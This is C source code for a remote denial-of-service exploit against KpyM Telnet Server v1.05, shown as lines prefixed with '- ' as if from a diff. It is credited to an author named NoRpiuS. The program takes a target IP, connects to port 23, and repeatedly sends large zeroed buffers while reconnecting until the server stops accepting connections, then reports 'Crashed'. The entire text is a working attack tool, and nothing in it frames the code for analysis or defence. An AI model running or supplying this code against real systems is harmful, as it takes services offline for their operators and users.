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- /* By NoRpiuS
- * UNIX & WIN VERSION
- * USE -DWIN to compile on windows
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #ifdef WIN
- #include <winsock.h>
- #define close closesocket
- #else
- #include <unistd.h>
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <arpa/inet.h>
- #include <netdb.h>
- #endif
-
- #define PORT 23
- #define BUFFSZ 10000
-
- u_long resolv(char *host);
- void std_err(void);
-
- int main(int argc, char *argv[]) {
- u_char *buff;
- struct sockaddr_in peer;
- int sd, err;
- u_short port = PORT;
-
-
- setbuf(stdout, NULL);
-
- fputs("\n"
- "KpyM Telnet Server v1.05 remote DoS\n"
- "by NoRpiUs\n"
- "e-mail: norpius@altervista.org\n"
- "web: http://norpius.altervista.org\n"
- "\n", stdout);
-
- if(argc < 2) {
- printf("\nUso: %s <ip>\n\n",argv[0]);
- exit(1);
- }
-
-
-
- #ifdef WIN
- WSADATA wsadata;
- WSAStartup(MAKEWORD(1,0), &wsadata);
- #endif
-
- peer.sin_addr.s_addr = resolv(argv[1]);
- peer.sin_port = htons(port);
- peer.sin_family = AF_INET;
-
-
- buff = malloc(BUFFSZ);
- if(!buff)
- {
- fputs("[-] Can't allocate buffer\n", stdout);
- exit(0);
- }
-
-
- sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- if(sd < 0)
- {
- fputs("[-] Can't create socket\n", stdout);
- exit(0);
- }
-
- printf("\n[+] Connecting to %s:%hu...\n",
- inet_ntoa(peer.sin_addr), port);
- err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
- if(err < 0)
- {
- fputs("[-] Can't connect\n", stdout);
- exit(0);
- }
-
- err = recv(sd, buff, BUFFSZ, 0);
- if(err < 0)
- {
- fputs("[-] No response from the server", stdout);
- exit(0);
- }
-
- memset(buff, 0, BUFFSZ);
-
- fputs("[+] Waiting for the crash.. ", stdout);
-
- while(1)
- {
- err = send(sd, buff, BUFFSZ, 0);
- if(err < 0)
- {
- fputs("[-] Can't send\n", stdout);
- exit(0);
- }
- printf(".");
- close(sd);
- sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
- if ( err < 0 )
- {
- fputs("\n[+] Crashed\n\r", stdout);
- exit(0);
- }
- }
-
- close(sd);
- return(0);
- }
-
-
- u_long resolv(char *host) {
- struct hostent *hp;
- u_long host_ip;
-
- host_ip = inet_addr(host);
- if(host_ip == INADDR_NONE)
- {
- hp = gethostbyname(host);
- if(!hp)
- {
- printf("\nError: Unable to resolve hostname (%s)\n", host);
- exit(1);
- }
- else host_ip = *(u_long *)(hp->h_addr);
- }
- return(host_ip);
- }
-
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